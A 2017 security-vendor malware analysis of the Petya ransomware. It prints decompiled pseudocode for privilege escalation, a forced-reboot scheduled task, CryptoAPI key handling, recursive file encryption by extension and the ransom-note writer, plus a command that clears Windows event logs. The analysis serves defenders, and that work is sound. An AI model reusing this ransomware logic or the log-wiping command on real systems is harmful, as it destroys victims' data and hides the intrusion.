June 28, 2017

“Petya” ransomware inspired by “WannaCry” hits European countries

“Petya” ransomware inspired by “WannaCry” hits European countries

Trustlook Labs has identified a new massive ransomware attack named “Petya”. The attack first struck organizations in Ukraine and knocked government, banks, power utilities and other public service agencies offline. It rapidly spreads to other countries. The malware exploits the same vulnerability identified as CVE-2017-0145 (Windows SMB Remote Code Execution vulnerability) used by “WannaCry” to spread. The malware uses the publicly available “Eternal Blue” exploit released by the hacker group The Shadow Brokers.

The vulnerability exists in unpatched versions of newer Windows operating system, as well as unsupported versions of Windows XP, 2003 and 8.

The malware’s primary purpose is to encrypt a user’s presumably important files, and then demand a ransom for decrypting those files. The major functionality was implemented in a Windows DLL module file. It is assumed the malicious module will be loaded after the exploitation on the target system. The module only exports one unnamed function, which IDA likely calls perfc_1.

The function perfc_1 accepts 4 parameters. The third parameter is an argument string which is parsed as command line arguments. Also, the first argument will be taken as a timeout value for multiple tasks in the following operation.

Upon execution, the malware will try to apply for administrative privileges “SeShutdownPrivileg”, “SeDebugPrivilege” and “SeTcbPrivilege” by using the AdjustTokenPrivileges function. If “SeDebugPrivilege” is granted successfully, the malware will write arbitrary code into the Master Boot Record (MBR). A fake CHKDSK program will then be shown when the system is rebooting.

 if ( AdjustTokenPriv(L"SeShutdownPrivilege") )
      flag = 1;
    if ( AdjustTokenPriv(L"SeDebugPrivilege") )
      flag |= 2u;
    if ( AdjustTokenPriv(L"SeTcbPrivilege") )
      flag |= 4u;
    Privilege_flag = flag;

Then the malware attempts to set a scheduled task to reboot the system within 10 -60 minutes. An example task can be seen as follows:

The following code demonstrates the behavior:

int schedule_reboot()
{
...

  v0 = 0;
  GetLocalTime(&SystemTime);
  v1 = waitingTime();
  if ( v1 < 0xA )
    v1 = 10;
  v2 = (v1 + 3) % 0x3C + SystemTime.wMinute;
  v3 = ((v1 + 3) / 0x3C + SystemTime.wHour) % 0x18;
  if ( GetSystemDirectoryW(&Buffer, 0x30Cu) && PathAppendW(&Buffer, L"shutdown.exe /r /f") )
  {
    if ( sub_10008494() )
    {
      v4 = L"/RU \"SYSTEM\" ";
      if ( !(dword_1001F144 & 4) )
        v4 = (const wchar_t *)&unk_10014388;
      wsprintfW(&v6, L"schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d", v4, &Buffer, v3, v2);
    }
    else
    {
      wsprintfW(&v6, L"at %02d:%02d %ws", v3, v2, &Buffer);
    }
    v7 = 0;
   v0 = shellExecute((int)&v6, 0);
  }
  return v0;
}

After setting up the scheduled task to reboot the system, the malware starts encrypting the files with the specific extensions in the system. It uses the Microsoft Cryptography API to generate key pairs and uses it to encrypt files:

// Generate encryption key
  v1 = (HCRYPTKEY *)(a1 + 20);
  v5 = CryptGenKey(*(_DWORD *)(a1 + 8), 0x660Eu, 1u, (HCRYPTKEY *)(a1 + 20));
  if ( v5 )
  {
    v2 = *v1;
    *(_DWORD *)pbData = 1;
    CryptSetKeyParam(v2, 4u, pbData, 0);
    v3 = *v1;
    *(_DWORD *)v6 = 1;
    CryptSetKeyParam(v3, 3u, v6, 0);
  }
  return v5;

The malware then imports an RSA public key from a hard-coded string.

// Import public key
      if ( CryptStringToBinaryW(
             L"MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iD"
"qmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+C"
"XsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJY"
"CeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB",
             0,
             1u,
             (BYTE *)v2,
             &pcbBinary,
             0,
             0) )
      {
        pcbStructInfo = 0;
        if ( CryptDecodeObjectEx(0x10001u, (LPCSTR)0x13, v2, pcbBinary, 0, 0, 0, &pcbStructInfo) )
        {
          v3 = (BYTE *)LocalAlloc(0x40u, pcbStructInfo);
          pbData = v3;
          if ( v3 )
          {
            if ( CryptDecodeObjectEx(0x10001u, (LPCSTR)0x13, v2, pcbBinary, 0, 0, v3, &pcbStructInfo) )
              v5 = CryptImportKey(*(_DWORD *)(a1 + 8), pbData, pcbStructInfo, 0, 0, (HCRYPTKEY *)(a1 + 12));
            LocalFree(pbData);
          }

This RSA public key will be used to encrypt the encryption key that was generated earlier. Then the encrypted key will be exported into the ransom note. The infected user will be asked to send the exported key to the attacker to have the files decrypted.

// Export encrypted encryption key 
  if ( CryptExportKey(v3, v2, 1u, 0, 0, &pdwDataLen) )
  {
    v4 = (BYTE *)LocalAlloc(0x40u, pdwDataLen);
    pbBinary = v4;
    if ( v4 )
    {
      if ( CryptExportKey(*(_DWORD *)(v1 + 20), *(_DWORD *)(v1 + 12), 1u, 0, v4, &pdwDataLen) )
      {
        pcchString = 0;
        if ( CryptBinaryToStringW(pbBinary, pdwDataLen, 1u, 0, &pcchString) )
        {
          v5 = LocalAlloc(0x40u, 2 * pcchString);
          if ( v5 )
          {
            if ( CryptBinaryToStringW(pbBinary, pdwDataLen, 1u, (LPWSTR)v5, &pcchString) )
              v7 = v5;
            else
              LocalFree(v5);
          }
        }
      }
      LocalFree(pbBinary);
    }
  }
  return v7;
}

After exporting the encryption key the malware will start the real file encryption. It will collect all fixed logical drives on the system and search for files with the following hard-coded file extensions:

.3ds, .7z, .accdb, .ai, .asp, .aspx, .avhd, .back, .bak, .c, .cfg, .conf, .cpp, .cs, .ctl, .dbf, .disk, .djvu, .doc, .docx, .dwg, .eml, .fdb, .gz, .h, .hdd, .kdbx, .mail, .mdb, .msg, .nrg, .ora, .ost, .ova, .ovf, .pdf, .php, .pmf, .ppt, .pptx, .pst, .pvi, .py, .pyc, .rar, .rtf, .sln, .sql, .tar, .vbox, .vbs, .vcb, .vdi, .vfd, .vmc, .vmdk, .vmsd, .vmx, .vsdx, .vsv, .work, .xls, .xlsx, .xvd, .zip,

It skips the “C:\Windows” folder and searches for the files with aforementioned file extensions on the system and encrypts them:

void __stdcall sub_10001973(LPCWSTR pszDir, int a2, int a3)
{
  void *v3; // eax@4
  DWORD v4; // eax@5
  struct _WIN32_FIND_DATAW *v5; // eax@14
  HANDLE hFindFile; // [sp+Ch] [bp-86Ch]@3
  struct _WIN32_FIND_DATAW FindFileData; // [sp+10h] [bp-868h]@3
  WCHAR FileName; // [sp+260h] [bp-618h]@9
  WCHAR pszDest; // [sp+468h] [bp-410h]@2
  WCHAR v10; // [sp+670h] [bp-208h]@15

  if ( a2 )
  {
    if ( PathCombineW(&pszDest, pszDir, L"*") )
    {
      hFindFile = FindFirstFileW(&pszDest, &FindFileData);
      if ( hFindFile != (HANDLE)-1 )
      {
   […]
          if ( wcscmp(FindFileData.cFileName, L".")
            && wcscmp(FindFileData.cFileName, L"..")
            && PathCombineW(&FileName, pszDir, FindFileData.cFileName) )
          {
            if ( !(FindFileData.dwFileAttributes & 0x10) || FindFileData.dwFileAttributes & 0x400 )
            {
              v5 = (struct _WIN32_FIND_DATAW *)PathFindExtensionW(FindFileData.cFileName);
              if ( (WCHAR *)v5 != &FindFileData.cFileName[wcslen(FindFileData.cFileName)] )
              {
                wsprintfW(&v10, L"%ws.", v5);
                if ( StrStrIW(
                       L".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs….",
                       &v10) )
                {
                  sub_1000189A(&FileName, a3);
                }
              }
            }
            else if ( !StrStrIW(L"C:\\Windows;", &FileName) )
            {
              sub_10001973(&FileName, a2 - 1, a3);
            }
          }
        }
        while ( FindNextFileW(hFindFile, &FindFileData) );
        FindClose(hFindFile);
      }
    }
  }
}

After encrypting all the files, the malware drops a ransom note in README.TXT file.

The following code shows the operation to construct the ransom note:

if ( PathCombineW(&pszDest, pszDir, L"README.TXT") )
      {
        v2 = waitingTime();
        if ( v2 )
          Sleep(60000 * (v2 - 1));
        v3 = CreateFileW(&pszDest, 0x40000000u, 0, 0, 2u, 0, 0);
        if ( v3 != (HANDLE)-1 )
        {
          NumberOfBytesWritten = 0;
          WriteFile(
            v3,
            L"Ooops, your important files are encrypted.\r\n"
             "\r\n"
             "If you see this text, then your files are no longer accessible, because\r\n"
             "they have been encrypted. Perhaps you are busy looking for a way to recover\r\n"
             "your files, but don't waste your time. Nobody can recover your files without\r\n"
             "our decryption service.\r\n"
             "\r\n"
             "We guarantee that you can recover all your files safely and easily.\r\n"
             "All you need to do is submit the payment and purchase the decryption key.\r\n"
             "\r\n"
             "Please follow the instructions:\r\n"
             "\r\n"
             "1.\tSend $300 worth of Bitcoin to following address:\r\n"
             "\r\n",
            0x432u,
            &NumberOfBytesWritten,
            0);
          WriteFile(v3, L"1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX\r\n\r\n", 0x4Cu, &NumberOfBytesWritten, 0);
          WriteFile(
            v3,
            L"2.\tSend your Bitcoin wallet ID and personal installation key to e-mail ",
            0x8Eu,
            &NumberOfBytesWritten,
            0);
          WriteFile(v3, L"wowsmith123456@posteo.net.\r\n", 0x38u, &NumberOfBytesWritten, 0);
          WriteFile(v3, L"\tYour personal installation key:\r\n\r\n", 0x48u, &NumberOfBytesWritten, 0);
          WriteFile(v3, exported_key, 2 * wcslen((const unsigned __int16 *)exported_key),     &NumberOfBytesWritten, 0);
          CloseHandle(v3);
        }
      }

From the above code, we can see that the exported key (encrypted by the attacker’s RSA public key) will be written in the section “Your personal installation key:” in the ransom note. The attacker will ask the victim to send the exported key by email. Also $300 worth of Bitcoin is demanded to decrypt the files.

At last the malware will erase its trace by executing following command:

"wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn"

When the time is up, the scheduled task will reboot the system. The malicious code written into the MBR section will fake a CHKDSK progress to hide its encryption of MFT:

After the operation is done, the ransom note will be shown to the infected user:

At the time of this posting, the Petya ransomware author has received 3.99 BTC in the account:

However, after testing on the target email, it seems the service provider has revoked the attacker’s account. Therefore, even if the infected users paid the ransom, the attacker has no way to get the encryption key and the files will not be decrypted.

The response from the remote server was:
554 5.7.1 <wowsmith123456@posteo.net>: Recipient address rejected: Access denied

Sample information:

MD5	71b6a493388e7d0b40c83ce903bc6b04
SHA-1	34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d
SHA-256	027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745